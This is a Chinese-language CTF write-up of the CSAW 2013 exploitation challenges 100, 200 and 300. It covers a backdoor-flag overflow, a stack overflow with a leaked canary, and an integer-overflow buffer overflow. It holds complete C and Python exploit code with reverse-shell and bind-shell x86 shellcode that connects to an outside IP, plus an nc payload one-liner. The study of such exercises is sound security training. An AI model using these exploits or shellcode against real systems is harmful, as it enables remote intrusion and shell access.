CSAW 2013 Exploition Writeup

Exploition 100

第一个很简单,给出了源码,如下:

[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}

[snip]
当backdoor不为0时,服务器会将key中的值send回来。直接提交1020个'A',覆盖backdoor,使其为真,就能得到key了。

python -c "print 'A'*1020"|nc 128.238.66.212 31337


Exploition 200

给了一个exploit2的文件,拖到IDA里看一下。

关键在handle()这个函数里,如下

int __cdecl handle(int fd)
{
  int result; // eax@1
  unsigned int v2; // eax@1
  char buf[2048]; // [sp+1Ch] [bp-80Ch]@1
  char v4; // [sp+81Bh] [bp-Dh]@1
  int v5; // [sp+81Ch] [bp-Ch]@1

  v5 = 0;
  memset(buf, 0, sizeof(buf));
  v2 = time(0);
  srand(v2);
  secret = rand();
  v5 = secret;
  *(_DWORD *)buf = buf; // 将buf的地址赋给buf的前四个字节
  send(fd, buf, 4u, 0); // 发送buf地址
  send(fd, &v5, 4u, 0); // 发送v5内容
  send(
    fd,
    "Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:",
    0x63u,
    0);
  recv(fd, buf, 0x1000u, 0);
  v4 = 0;
  result = secret;
  if ( v5 != secret )
  {
    close(fd);
    exit(0);
  }
  return result;
}

函数返回之前,会检查v5是否和secret相等,不相等就直接退出,不返回,类似于Windows防御溢出中的GS技术。所以覆盖返回地址时,要在指定的位置写入secret的值。

这个值服务器已经发给了我们,而且连buf地址也发了过来,这样就不用找jmp esp的跳板,直接将返回地址覆盖为buf地址。函数返回时,就会跳到buf处执行。我们的数据包布局如下:

shellcode                 <-- buf起始地址

0x90填充

secret                        <-- v5的位置

0x90909090*3

RetAddr                    <-- 返回地址,覆盖为buf起始地址

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>

// TESTIP = 192.168.28.1
#define TESTIP "\xc0\xa8\x1c\x01" 
// PORT = 31337
#define PORT "\x7a\x69"
#define TARGET "128.238.66.212"

unsigned char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
TESTIP"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

int main()
{
    struct sockaddr_in  addr;
    int fd;
    char welcome[99];
    unsigned char buf[2068];
    for (int i = 0; i < 92; ++i)
        buf[i] = shellcode[i];

    addr.sin_family = AF_INET;
    addr.sin_port = htons(31338);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("[-] Create socket error.\n");
        exit(0);
    }
    printf("[+] Create socket success.\n");
    if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
    {
        printf("[-] Connect error.\n");
        exit(0);
    }
    printf("[+] Connect success.\n");

    recv(fd, buf+2064, 4, 0);
    recv(fd, buf+2048, 4, 0);
    recv(fd, welcome, 99, 0);
    printf("%s\n", welcome);
    send(fd, buf, 2068, 0);
    close(fd);
    return(0);
}

执行之后就会弹回一个shell。

nc -l -vv -p 31337

whoami
csaw
ls
exploit2
exploit2.c
key
cat key
flag{53666e040caa855a9b27194c82a26366}

Exploition 300

题目给了一个fil_chal,下载下来在本机执行,nc 127.0.0.1 34266,回显

     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
		Dairy

UserName: 

拖到IDA里,在sub_8049156里,可以看到

然后就可以找到正确的username和password

.rodata:08049A4F aCsaw2013        db 'csaw2013',0          
.rodata:08049A58 aS1mplepwd      db 'S1mplePWD',0     

校检账号密码后,会调用sub_8048E52,在这里,程序会读取用户输入的一个数字。

然后到sub_8048EFE,会进行一个比较

  n = a2;  // 这个就是我们输入的数字
  if ( (unsigned int)(a2 + 1) <= 0x400 )
  {
    v7 = recv(fd, &buf, n, 0);     // 读取我们发送的数据
    ...
   }
   else
  {
    fprintf(stderr, "%s\n", "Invalid Length");
  }

由于buf申请了0x400的空间,所以我们需要利用整数溢出绕过
(unsigned int)(a2 + 1) <= 0x400
这个限制。

0xffff = 65535; 0xffff+1 = 0 <= 0x400

在前面输入长度的时候,输入65535就可以绕过这个限制。

但是这题没有给出buf的起始地址,如何跳转到shellcode成为问题的关键。

尝试寻找jmp esp等跳板无果后,我们决定开大招了!

将shellcode布置在buf的尾部,然后从后往前遍历栈地址,每次递减1024个字节。类似于Heap Spray,每次循环时的返回地址有可能刚好落在shellcode前面的0x90中。

#include <Winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")


#define IPADDR "\x77\x76\xe7\xb4"
#define PORT "\x82\x35"

unsigned char username[]="csaw2013";
unsigned char password[]="S1mplePWD";
unsigned char enterinfo[]="65535";
unsigned int tryshellcode;

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";



//初始化Socket
int InitSocket()
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(2, 2);

    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0) {
        printf("WSAStartup failed with error: %d\n", err);
        return 1;
    }
    if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
        printf("Could not find a usable version of Winsock.dll\n");
        WSACleanup();
        return 1;
    }
	return 0;
}

void main()
{
	int *se;
	unsigned int iii;
	SOCKADDR_IN addr;
	SOCKET s;
	unsigned int secret;
	unsigned int stack;
	char buf[0x3000];


	InitSocket();
	for(iii=0xffffff;iii>=0;iii-=908)
	{

		memset(buf,0,0x3000);

		s=socket(AF_INET,SOCK_STREAM,0);
		if(s==INVALID_SOCKET)
		{
			printf("socket INVALID_SOCKET!\n");
			getchar();
			getchar();
			return;
		}

		addr.sin_addr.S_un.S_addr=inet_addr("128.238.66.217");//128.238.66.212
		addr.sin_family=AF_INET;
		addr.sin_port=htons(34266);

		if(SOCKET_ERROR==connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR)))
		{
			printf("connect Error!\n");
			getchar();
			getchar();
			return;
		}
		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);

		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);


		memset(buf,0,0x3000);
		strcpy(buf,username);
		send(s,buf,strlen(buf)+1,0);


		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);//show password

		memset(buf,0,0x3000);
		strcpy(buf,password);
		send(s,buf,strlen(buf)+1,0);

		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);//Login?

		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);//enter info

		memset(buf,0,0x3000);
		strcpy(buf,enterinfo);
		send(s,buf,strlen(buf)+1,0);

///		Sleep(100);

		memset(buf,0x90,0x3000);
		strcpy(buf+0x3e8-92,code);
	
		tryshellcode=(unsigned int)0xbf000000+iii;
		*((unsigned int*)(buf+0x420))=tryshellcode;		
		printf("tryshellcode=%x\n",tryshellcode);

//		getchar();

		send(s,buf,0x424,0);
		
//		Sleep(100);
		closesocket(s);

	}
	WSACleanup();
}

等待弹回shell后,中止程序。

然后成功了!得到flag,300分~


但是,这个解决方式不太优雅,下面介绍来自国外队伍Stratum 0的解决方法。

查看fil_chal的内存空间可以看到,0804b000-0804c000这一段地址空间是可读可写可执行的。

将返回地址覆盖为recv()函数的地址,然后布置栈,接收数据并存储在0804b000。从recv返回后,跳到0804b000处执行即可。

recv的地址为0x08048890,它需要4个参数,fd,buf,len,flag。其中buf设置为0x0804b000,len设置为shellcode的长度,flag设置为0。

关键就在于fd。之前我们也曾考虑过这种方式,但是当时认为fd不可预测,所以就没有尝试。

然而,在linux系统中,fd是可以预测的。

在linux系统中,socket也被认为是一种特殊的文件,也是用文件描述符(file descriptor)表示。

linux进程初始化时,就会有3个fd被占用,分别是

0,标准输入stdin

1,标准输出stdout

2,标准错误流stderr

在此之后打开的文件描述符会递增。因此,当fil_chal进程执行是,打开第一个fd用于建立服务器,bind端口后监听。当有客户端连接时,会再打开一个fd,然后fork一个子进程去处理这个连接。这个过程大致如下

fd = socket();
bind(fd);
listen(fd);
newfd = accept(fd);
if ((pid = fork()) == 0)
{ // 子进程
    close(fd);
    handle(newfd);
    close(newfd);
    exit(0);
}
else if (pid > 0)
{ // 父进程
    close(newfd);
}

由于子进程是父进程的副本,它会继承父进程的进程环境,newfd的值就应该是4,这个fd也就是和客户端通信的fd。

于是recv()函数的fd设置为4。最后的内存布局为

buf

junk

RetAddr  <-- 0x08048890 recv()

0x0804b000  <-- recv执行完毕,ret时esp会指向这里

0x00000004  fd

0x0804b000  buf

len(shellcode)  len

0x00000000   flags

最终的利用代码如下

#!/usr/bin/env python
#coding=utf-8

import socket
import struct

local = True

// shellcode功能:开启4444端口,等待连接
SHELLCODE = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" +\
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" +\
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" +\
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" +\
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" +\
"\x0b\xcd\x80"

def pack(addr):
    return struct.pack("<I", addr)
def unpack(s):
    return struct.pack("<I",s)[0]

if local:
    host = "localhost"
else:
    host = "128.238.66.217"

port = 34266

recv_plt = 0x8048890

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((host, port))

s.recv(1024)
s.recv(1024)

s.send("csaw2013\n")
s.recv(1024)
s.send("S1mplePWD\n")
s.recv(1024)
s.recv(1024)
s.send("-1\n")
raw_input("--")

writable_addr = 0x804b800
ebp = pack(writable_addr)
eip = pack(recv_plt)
next_eip = pack(0x804b000)
params = pack(4)
params += pack(0x804b000)
params += pack(len(SHELLCODE))
params += pack(0)

s.send("A"*0x41c+ebp+eip+next_eip+params)

raw_input("--")
s.send(SHELLCODE)


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值